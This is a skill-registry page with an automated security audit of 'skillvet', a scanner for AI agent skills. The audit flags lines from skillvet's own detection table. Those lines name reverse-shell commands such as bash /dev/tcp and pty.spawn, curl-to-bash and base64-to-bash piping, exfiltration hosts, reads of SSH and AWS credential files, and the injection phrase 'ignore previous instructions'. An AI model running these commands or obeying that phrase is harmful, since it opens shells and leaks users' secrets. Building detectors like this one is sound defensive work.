Skip to main content

skillvet

Scans and audits AI agent skills for security vulnerabilities, ensuring safe installations and protecting against malware and attacks.

Install this skill

or
0/100

Security score

The skillvet skill was audited on Feb 21, 2026 and we found 25 security issues across 6 threat categories, including 7 critical. Review the findings below before installing.

Categories Tested

Security Issues

critical line 165

Direct command execution function call

SourceSKILL.md
165| 42 | Python reverse shell | `socket.connect` + `dup2`, `pty.spawn('/bin/bash')` |
high line 125

Template literal with variable interpolation in command context

SourceSKILL.md
125| 2 | Bulk env variable harvesting | `printenv \|`, `${!*@}` |
critical line 144

Piping content to bash shell

SourceSKILL.md
144| 21 | Pipe-to-shell | `curl \| bash` (HTTP and HTTPS) |
critical line 152

Piping content to bash shell

SourceSKILL.md
152| 29 | Base64 pipe-to-interpreter | `echo '...' \| base64 -D \| bash` — primary macOS vector |
critical line 163

Piping content to bash shell

SourceSKILL.md
163| 40 | Bash /dev/tcp reverse shell | `bash -i >/dev/tcp/IP/PORT 0>&1` (AuthTool pattern) |
critical line 169

Piping content to bash shell

SourceSKILL.md
169| 46 | GitHub raw content execution | `curl raw.githubusercontent.com/... \| bash` |
medium line 178

Node child_process module reference

SourceSKILL.md
178| W2 | Subprocess execution | child_process, execSync, spawn, subprocess |
medium line 124

Webhook reference - potential data exfiltration

SourceSKILL.md
124| 1 | Known exfiltration endpoints | webhook.site, ngrok.io, requestbin |
high line 124

Ngrok tunnel reference

SourceSKILL.md
124| 1 | Known exfiltration endpoints | webhook.site, ngrok.io, requestbin |
medium line 128

Access to hidden dotfiles in home directory

SourceSKILL.md
128| 5 | Path traversal / sensitive files | `../../`, `~/.ssh`, `~/.clawdbot` |
critical line 167

Access to AWS credentials directory

SourceSKILL.md
167| 44 | Credential file access | Direct reads of `.env`, `.pem`, `.aws/credentials` |
medium line 131

Access to .env file

SourceSKILL.md
131| 8 | .env file theft | dotenv loading in scripts (not docs) |
medium line 138

Access to .env file

SourceSKILL.md
138| 15 | Shipped .env files | .env files (not .example) in the skill |
medium line 167

Access to .env file

SourceSKILL.md
167| 44 | Credential file access | Direct reads of `.env`, `.pem`, `.aws/credentials` |
medium line 187

Access to .env file

SourceSKILL.md
187`.md`, `.js`, `.ts`, `.tsx`, `.jsx`, `.py`, `.sh`, `.bash`, `.rs`, `.go`, `.rb`, `.c`, `.cpp`, `.json`, `.yaml`, `.yml`, `.toml`, `.txt`, `.env*`, `Dockerfile*`, `Makefile`, `pom.xml`, `.gradle`.
medium line 127

Base64 decode operation

SourceSKILL.md
127| 4 | Code obfuscation | base64 decode, hex escapes, dynamic code generation |
medium line 170

Base64 decode operation

SourceSKILL.md
170| 47 | Echo-encoded payloads | Long base64 strings echoed and piped to decoders |
high line 145

Character code construction - potential obfuscation

SourceSKILL.md
145| 22 | String construction evasion | String.fromCharCode, getattr, dynamic call assembly |
critical line 132

Prompt injection: ignore instructions

SourceSKILL.md
132| 9 | Prompt injection in markdown | "ignore previous instructions" in SKILL.md |
low line 12

External URL reference

SourceSKILL.md
12Security scanner for agent skills. 48 critical checks, 8 warning checks. No dependencies — just bash and grep. Includes Tirith-inspired detection patterns, campaign signatures from [Koi Security](http
low line 97

External URL reference

SourceSKILL.md
97const url = "https://bit.ly/legit-link"; // skillvet-ignore
low line 159

External URL reference

SourceSKILL.md
159| 36 | Suspicious package sources | `pip install git+https://...`, npm from non-official registries |
low line 198

External URL reference

SourceSKILL.md
198- [Koi Security report](https://www.koi.ai/blog/clawhavoc-341-malicious-clawedbot-skills-found-by-the-bot-they-were-targeting) (Feb 2026)
low line 199

External URL reference

SourceSKILL.md
199- [The Hacker News coverage](https://thehackernews.com/2026/02/researchers-find-341-malicious-clawhub.html)
low line 200

External URL reference

SourceSKILL.md
200- [OpenSourceMalware analysis](https://opensourcemalware.com/blog/clawdbot-skills-ganked-your-crypto)
Scanned on Feb 21, 2026
View Security Dashboard
Installation guide →
GitHub Stars 2.2K
Rate this skill
Categorydevelopment
UpdatedApril 4, 2026
openclaw/skills